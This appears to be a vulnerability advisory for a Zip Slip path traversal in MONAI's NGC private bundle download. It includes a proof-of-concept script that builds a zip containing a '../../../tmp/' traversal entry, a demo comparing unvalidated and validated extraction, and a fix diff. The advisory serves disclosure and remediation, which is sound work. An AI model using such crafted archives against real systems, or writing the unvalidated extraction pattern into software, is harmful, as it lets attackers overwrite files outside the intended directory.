CVE-2026-21851: MONAI has Path Traversal (Zip Slip) in NGC Private Bundle Download
Summary
A Path Traversal (Zip Slip) vulnerability exists in MONAI's downloadfromngcprivate() function. The function uses zipfile.ZipFile.extractall() without path validation, while other similar download functions in the same codebase properly use the existing safeextractmember() function.
This appears to be an implementation oversight, as safe extraction is already implemented and used elsewhere in MONAI.
CWE: CWE-22 (Improper Limitation of a Pathname to a Restricted Directory)
---
Details
Vulnerable Code Location
File: monai/bundle/scripts.py Lines: 291-292 Function: downloadfromngcprivate()
python monai/bundle/scripts.py - Lines 284-293 zippath = downloadpath / f"{filename}v{version}.zip" with open(zippath, "wb") as f: f.write(response.content) logger.info(f"Downloading: {zippath}.") if removeprefix: filename = removengcprefix(filename, prefix=removeprefix) extractpath = downloadpath / f"{filename}" with zipfile.ZipFile(zippath, "r") as z: z.extractall(extractpath) # <-- No path validation logger.info(f"Writing into directory: {extractpath}.")
Root Cause
The code calls z.extractall(extractpath) directly without validating that archive member paths stay within the extraction directory.
Safe Code Already Exists
MONAI already has a safe extraction function in monai/apps/utils.py (lines 125-154) that properly validates paths:
python def safeextractmember(member, extractto): """Securely verify compressed package member paths to prevent path traversal attacks""" # ... path validation logic ... if os.path.isabs(memberpath) or ".." in memberpath.split(os.sep): raise ValueError(f"Unsafe path detected in archive: {memberpath}") # Ensure path stays within extraction root if os.path.commonpath([extractroot, targetreal]) != extractroot: raise ValueError(f"Unsafe path: path traversal {memberpath}")
Comparison with Other Download Functions
| Function | File | Uses Safe Extraction? | |----------|------|----------------------| | downloadfromgithub() | scripts.py:198 | ✅ Yes (via extractall() wrapper) | | downloadfrommonaihosting() | scripts.py:205 | ✅ Yes (via extractall() wrapper) | | downloadfrombundleinfo() | scripts.py:215 | ✅ Yes (via extractall() wrapper) | | downloadfromngcprivate() | scripts.py:292 | ❌ No (direct z.extractall()) |
---
PoC
Step 1: Create a Malicious Zip File
python #!/usr/bin/env python3 """Create malicious zip with path traversal entries""" import zipfile import io
def createmaliciouszip(outputpath="maliciousbundle.zip"): zipbuffer = io.BytesIO() with zipfile.ZipFile(zipbuffer, 'w', zipfile.ZIPDEFLATED) as zf: # Normal bundle file zf.writestr( "monaitestbundle/configs/metadata.json", '{"name": "testbundle", "version": "1.0.0"}' ) # Path traversal entry zf.writestr( "../../../tmp/escapedfile.txt", "This file was written outside the extraction directory.\n" ) with open(outputpath, 'wb') as f: f.write(zipbuffer.getvalue()) print(f"Created: {outputpath}") with zipfile.ZipFile(outputpath, 'r') as zf: print("Contents:") for name in zf.namelist(): print(f" - {name}")
if name == "main": createmaliciouszip()
Output: Created: maliciousbundle.zip Contents: - monaitestbundle/configs/metadata.json - ../../../tmp/escapedfile.txt
Step 2: Demonstrate the Difference
This script shows the difference between the vulnerable pattern (used in downloadfromngcprivate) and the safe pattern (used elsewhere in MONAI):
python #!/usr/bin/env python3 """Compare vulnerable vs safe extraction""" import zipfile import tempfile import os
def vulnerableextraction(zippath, extractpath): """Pattern used in monai/bundle/scripts.py:291-292""" os.makedirs(extractpath, existok=True) with zipfile.ZipFile(zippath, "r") as z: z.extractall(extractpath) print("[VULNERABLE] Extraction completed without validation")
def safeextraction(zippath, extractpath): """Pattern used in monai/apps/utils.py""" os.makedirs(extractpath, existok=True) with zipfile.ZipFile(zippath, "r") as zf: for member in zf.infolist(): memberpath = os.path.normpath(member.filename) # Check for path traversal if os.path.isabs(memberpath) or ".." in memberpath.split(os.sep): print(f"[SAFE] BLOCKED: {member.filename}") continue print(f"[SAFE] Allowed: {member.filename}")
Run demo print("=" 50) print("VULNERABLE PATTERN (scripts.py:291-292)") print("=" 50) with tempfile.TemporaryDirectory() as tmpdir: vulnerableextraction("maliciousbundle.zip", tmpdir) for root, dirs, files in os.walk(tmpdir): for f in files: relpath = os.path.relpath(os.path.join(root, f), tmpdir) print(f" Extracted: {relpath}")
print() print("=" 50) print("SAFE PATTERN (apps/utils.py)") print("=" 50) with tempfile.TemporaryDirectory() as tmpdir: safeextraction("maliciousbundle.zip", tmpdir)
Output: ================================================== VULNERABLE PATTERN (scripts.py:291-292) ================================================== [VULNERABLE] Extraction completed without validation Extracted: monaitestbundle/configs/metadata.json Extracted: tmp/escapedfile.txt
================================================== SAFE PATTERN (apps/utils.py) ================================================== [SAFE] Allowed: monaitestbundle/configs/metadata.json [SAFE] BLOCKED: ../../../tmp/escapedfile.txt
---
Impact
Conditions Required for Exploitation
1. Attacker must control or compromise an NGC private repository 2. Victim must configure MONAI to download from that repository 3. Victim must use source="ngcprivate" parameter
Potential Impact
If exploited, an attacker could write files outside the intended extraction directory. The actual impact depends on: - The permissions of the user running MONAI - The target location of the escaped files - Python version (newer versions have some built-in path normalization)
Mitigating Factors
- Requires attacker to control an NGC private repository - Modern Python versions (3.12+) have some built-in path normalization - The ngcprivate source is less commonly used than other sources
---
Recommended Fix
Replace the direct extractall() call with MONAI's existing safe extraction:
diff monai/bundle/scripts.py
+ from monai.apps.utils import extractzip
def downloadfromngcprivate(...): # ... existing code ... extractpath = downloadpath / f"{filename}" - with zipfile.ZipFile(zippath, "r") as z: - z.extractall(extractpath) - logger.info(f"Writing into directory: {extractpath}.") + extractzip(zippath, extractpath) + logger.info(f"Writing into directory: {extractpath}.")
This aligns downloadfromngcprivate() with the other download functions and ensures consistent security across all download sources.
---
Resources
- CWE-22: Improper Limitation of a Pathname to a Restricted Directory - Snyk: Zip Slip Vulnerability - Python zipfile.extractall() Warning
Other sources
MONAI (Medical Open Network for AI) is an AI toolkit for health care imaging. In versions up to and including 1.5.1, a Path Traversal (Zip Slip) vulnerability exists in MONAI's downloadfromngcprivate() function. The function uses zipfile.ZipFile.extractall() without path validation, while other similar download functions in the same codebase properly use the existing safeextractmember() function. Commit 4014c8475626f20f158921ae0cf98ed259ae4d59 fixes this issue.
— MITRE
Affected Software
Remediation
Event History
Frequently Asked Questions
What is the severity of CVE-2026-21851?
CVE-2026-21851 has been classified as a high severity vulnerability.
How do I fix CVE-2026-21851?
To fix CVE-2026-21851, update the MONAI package to a version later than 1.5.1 where the vulnerability has been addressed.
What impact does CVE-2026-21851 have on my systems?
CVE-2026-21851 allows for potential path traversal attacks, which may lead to unauthorized file access on the server.
Is CVE-2026-21851 exploitable remotely?
Yes, CVE-2026-21851 can be exploited remotely if an attacker can craft malicious ZIP files.
What software versions are affected by CVE-2026-21851?
CVE-2026-21851 affects MONAI versions up to and including 1.5.1.